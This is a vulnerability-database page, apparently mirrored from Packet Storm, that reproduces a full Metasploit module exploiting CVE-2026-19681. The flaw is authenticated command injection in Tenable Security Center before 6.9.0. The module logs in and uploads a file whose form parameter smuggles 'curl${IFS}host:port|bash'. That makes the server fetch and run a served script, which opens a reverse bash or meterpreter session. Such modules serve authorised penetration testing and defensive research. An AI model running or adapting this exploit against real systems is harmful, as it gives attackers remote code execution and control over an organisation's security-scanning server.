Lucene search
+L

Tenable Security Center SCAP Audit File Command Injection

🗓️ 26 Aug 2026 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 9 Views

Authenticated command injection in Tenable Security Center pre-6.9.0 via SCAP audit file upload.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for OS Command Injection in Tenable Security_Center
24 Aug 202610:33
githubexploit
githubexploit
GithubExploit
poc_cve_2026_19681
23 Aug 202613:12
githubexploit
attackerkb
ATTACKERKB
CVE-2026-19681
14 Aug 202617:45
attackerkb
circl
Circl
CVE-2026-19681
14 Aug 202619:00
circl
cve
CVE
CVE-2026-19681
14 Aug 202617:45
cve
cvelist
Cvelist
CVE-2026-19681 Command Injection
14 Aug 202617:45
cvelist
euvd
EUVD
EUVD-2026-58745
14 Aug 202617:45
euvd
kitploit
Kitploit
POC-CVE-2026-19681
25 Aug 202604:28
kitploit
metasploit
Metasploit
Tenable Security Center SCAP Audit File Command Injection
13 Aug 202600:00
metasploit
nvd
NVD
CVE-2026-19681
14 Aug 202618:17
nvd
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
    
      def tailoring_xml
        collection = Rex::Text.rand_text_alphanumeric(8)
        benchmark = Rex::Text.rand_text_alphanumeric(8)
        profile = Rex::Text.rand_text_alphanumeric(8)
        <<~XML
          <?xml version="1.0" encoding="UTF-8"?>
          <ds:data-stream-collection xmlns:ds="http://scap.nist.gov/schema/scap/source/1.2"
                                     xmlns:xccdf="http://checklists.nist.gov/xccdf/1.2"
                                     id="#{collection}">
            <xccdf:Benchmark id="xccdf_#{benchmark}" version="1.0">
              <xccdf:status>draft</xccdf:status>
              <xccdf:title>#{benchmark}</xccdf:title>
              <xccdf:Profile id="xccdf_#{profile}" extends="xccdf_#{benchmark}">
                <xccdf:title>#{profile}</xccdf:title>
              </xccdf:Profile>
            </xccdf:Benchmark>
          </ds:data-stream-collection>
        XML
      end
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Tenable Security Center SCAP Audit File Command Injection',
            'Description' => %q{
              Tenable Security Center prior to 6.9.0 allows an authenticated user to
              achieve command execution as the web service account (tns) via the SCAP
              audit file upload flow.
    
              Filesystem::saveTmp() builds staged upload filenames from the raw
              client-supplied `context` form parameter (tempnam prefix), which is not
              charset-validated. Referencing that staged file in a
              POST /rest/auditFile (type=scapLinux, version=1.2) request reaches
              AuditFileLib::addSCAPTailoringFile(), where the zip repack command
              interpolates the derived path unescaped:
    
              exec("{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc");
    
              basename() strips '/' but not shell metacharacters, so a context like
              `p;CMD;` executes CMD through /bin/sh.
    
              Constraints (measured on 6.7.2): the staged-name prefix survives only
              ~50 characters of context and may not contain '/' (saveTmp() applies
              basename()). This module therefore serves the payload over HTTP and
              injects only `curl${IFS}<srvhost>:<srvport>|bash` (a bare host:port
              GETs / and bash reads the served script from stdin). The served script
              itself has no such limits, which the Linux Dropper target exploits
              with a fetch payload (cmd/linux/http/...) that downloads and execs a
              full native payload (e.g. x64 meterpreter) from the payload adapter's
              own listener on FETCH_SRVPORT.
    
              Tested against SecurityCenter 6.7.2-14 on RHEL9.
            },
            'License' => MSF_LICENSE,
            'Author' => ['h00die'],
            'References' => [
              ['CVE', '2026-19681'],
              ['URL', 'https://www.tenable.com/security/tns-2026-22']
            ],
            'DisclosureDate' => '2026-08-13',
            'Platform' => ['unix'],
            'Arch' => ARCH_CMD,
            'Targets' => [
              # msf defaults to php payload, but SC bundles its own php and its not in the path so
              # we want to avoid that since it'll fail
              ['Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }], # rubocop:disable Lint/ModuleDefaultPayload
              # the fetch payload adapts ARCH_CMD to a native stage via AdaptedArch;
              # x86/aarch64/multi variants of cmd/linux/http/... work here too
              [
                'Linux Dropper', {
                  'Platform' => 'linux',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    # pinned: a native stage must come through a fetch payload to fit
                    # the length/charset-limited curl|bash injection
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'SSL' => true,
              'RPORT' => 443,
              'PrependFork' => true,
              'WfsDelay' => 10,
              # fetch-payload staging (module-level so they apply even when the
              # payload is selected by hand rather than via the Dropper target):
              # the web process cwd isn't writable by tns, so stage from /tmp, and
              # keep the fetch listener off this module's SRVPORT script server
              'FETCH_WRITABLE_DIR' => '/tmp',
              'FETCH_SRVPORT' => 8081
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
          OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
        ])
      end
    
      def login
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'rest', 'token'),
          'ctype' => 'application/json',
          'data' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json
        )
        fail_with(Failure::Unreachable, 'No response to login') unless res
        json = res.get_json_document
        fail_with(Failure::NoAccess, "Login failed: #{json['error_msg']}") if json['error_code'] != 0
    
        token = json['response']
        token = token['token'] if token.is_a?(Hash)
        fail_with(Failure::NoAccess, "No token in login response: #{json}") if token.blank?
    
        # the TNS_SESSIONID cookie locates the session; the X-SecurityCenter token is
        # only accepted alongside it (HttpClient keeps no cookie jar of its own).
        # SC rotates the session id on login (two Set-Cookie headers) — keep only the
        # final value; get_cookies also leaks Set-Cookie attributes (SameSite etc.)
        session = res.get_cookies.scan(/TNS_SESSIONID=([a-f0-9]+)/i).flatten.last
        fail_with(Failure::NoAccess, 'No TNS_SESSIONID cookie in login response') unless session
        @cookies = "TNS_SESSIONID=#{session}"
        token.to_s
      end
    
      def upload(context, data, fname)
        form = Rex::MIME::Message.new
        form.add_part(data, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
        form.add_part(context, nil, nil, 'form-data; name="context"')
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'rest', 'file', 'upload'),
          'ctype' => "multipart/form-data; boundary=#{form.bound}",
          'data' => form.to_s,
          'headers' => { 'X-SecurityCenter' => @token, 'Cookie' => @cookies }
        )
        fail_with(Failure::Unreachable, 'No response to upload') unless res
        json = res.get_json_document
        fail_with(Failure::UnexpectedReply, "Upload failed: #{json['error_msg']}") if json['error_code'] != 0
    
        json['response']['filename']
      end
    
      def audit_file(staged_zip, staged_tail)
        body = {
          'name' => Rex::Text.rand_text_alphanumeric(8),
          'type' => 'scapLinux',            # AuditFileLib validSCAPTypes
          'version' => '1.2',               # tailoring branch requires 1.2
          'benchmarkName' => Rex::Text.rand_text_alphanumeric(8),
          'dataStreamName' => Rex::Text.rand_text_alphanumeric(8),
          'profileName' => '',
          'filename' => staged_zip,
          'originalFilename' => "#{Rex::Text.rand_text_alphanumeric(8)}.zip",
          'tailoringFilename' => staged_tail,
          'tailoringOriginalFilename' => "#{Rex::Text.rand_text_alphanumeric(8)}-tailoring.xml",
          'auditFileTemplate' => { 'id' => -1 },
          'description' => Rex::Text.rand_text_alphanumeric(8)
        }
        t0 = Time.now
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'rest', 'auditFile'),
          'ctype' => 'application/json',
          'data' => body.to_json,
          'headers' => { 'X-SecurityCenter' => @token, 'Cookie' => @cookies }
        )
        [res, Time.now - t0]
      end
    
      def fire(context)
        # staged uploads: blank-context zip (content never inspected) + real tailoring
        # XML (the tailoringFile context parses it and requires >= 1 Profile)
        staged_zip = upload(context, Rex::Text.rand_text_alphanumeric(64), "#{Rex::Text.rand_text_alphanumeric(8)}.zip")
        staged_tail = upload('tailoringFile', tailoring_xml, "#{Rex::Text.rand_text_alphanumeric(8)}-tailoring.xml")
        vprint_status("Staged Files Names: zip='#{staged_zip}' tailoring='#{staged_tail}'")
        audit_file(staged_zip, staged_tail)
      end
    
      def check
        @token = login
        # state-light differential: sleep canary in the context prefix. On vulnerable
        # builds the zip command stalls; on 6.9.0 (escapeshellarg'd) it returns fast
        # with the post-exec error 106 bounce.
        vprint_status("Attempting to send injected sleep to #{rhost}:#{rport}...")
        res, elapsed = fire("#{Rex::Text.rand_text_alphanumeric(1)};sleep${IFS}7;")
        return CheckCode::Unknown('No response to auditFile') unless res
    
        json = res.get_json_document
        if elapsed > 5
          CheckCode::Vulnerable("Injected sleep executed (request stalled #{elapsed.round(1)}s)")
        elsif json['error_msg'].to_s.include?('Invalid tailoring filename')
          CheckCode::Safe('Filename validation present (patched, 6.9.0+)')
        else
          CheckCode::Safe("No stall (#{elapsed.round(1)}s); reply: #{json['error_msg']}")
        end
      end
    
      def on_request_uri(cli, _req)
        # sc brings its own php, so use that location
        if @payload_cmd.end_with?('exec php')
          @payload_cmd = @payload_cmd.gsub(/exec php$/, 'exec /opt/sc/support/bin/php') # normalize line endings
        end
        send_response(cli, @payload_cmd, 'Content-Type' => 'text/plain')
      end
    
      # HttpServer's start_service does `opts['ssl'] ||= http_server_ssl`, so an
      # explicit 'ssl' => false gets clobbered (false is falsey) and the server
      # inherits the datastore SSL meant for the 443 client side. The injected
      # `curl host:port|bash` speaks plaintext HTTP — force the reader (aliased to
      # the datastore ssl) to false so this script server stays http. The Dropper
      # target's cmd/linux/http fetch payload serves its ELF over plaintext HTTP
      # too (cmd/linux/https/... exists if that ever needs encrypting).
      def http_server_ssl
        false
      end
    
      def exploit
        @token = login
        # for the Dropper target payload.encoded is the fetch payload's
        # download-and-exec command (curl ELF from FETCH_SRVHOST:FETCH_SRVPORT,
        # chmod +x, exec); the payload adapter runs that listener itself, so this
        # module only serves the command text at / below
        @payload_cmd = payload.encoded
    
        srv_ip = srvhost == '0.0.0.0' ? Rex::Socket.source_address(rhost) : srvhost
    
        # plaintext payload server (see http_server_ssl override): datastore SSL
        # stays true for the client side against 443. Path MUST be root — the
        # injected curl|bash fetch carries no path component, and leaving 'Path'
        # unset mounts the default Proc on a random URI instead.
        start_service('Path' => '/')
    
        inject = "curl${IFS}#{srv_ip}:#{datastore['SRVPORT']}|bash"
        fail_with(Failure::BadConfig, "Injection prefix too long for the tempnam budget: #{inject}") if inject.length > 50
    
        print_status("Injecting '#{inject}' (payload served at http://#{srv_ip}:#{datastore['SRVPORT']}/)")
        # baseline BEFORE firing: the dropper can connect back fast enough that the
        # session exists by the time we reach the wait loop
        initial = framework.sessions.count
        res, elapsed = fire("p;#{inject};")
    
        # no response here is expected and GOOD: a payload like a reverse shell can
        # hold the injected request open (or consume it outright), so the auditFile
        # POST never completes — the session is the real signal, not this reply
        if res
          json = res.get_json_document
          vprint_status("auditFile reply in #{elapsed.round(1)}s: #{json['error_msg']}")
          # error 106 ("Error adding Tailoring file") is the normal post-exec bounce;
          # it also means no AuditFile record was persisted (the GUI stays clean)
        else
          vprint_status('No auditFile reply — the payload likely held the request open')
        end
    
        # keep the payload server alive while the target's curl|bash runs; module
        # cleanup would otherwise tear it down before the fetch lands
        print_status('Waiting for the payload fetch and session...')
        waited = 0
        while waited < 20 && framework.sessions.count == initial
          Rex.sleep(1)
          waited += 1
        end
        if framework.sessions.count > initial
          print_good('Session opened')
        else
          print_warning("No session after #{waited}s — verify #{srv_ip}:#{datastore['SRVPORT']} is reachable from the target")
        end
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Aug 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 49.4
CVSS 3.19.9
EPSS0.07801
SSVC
9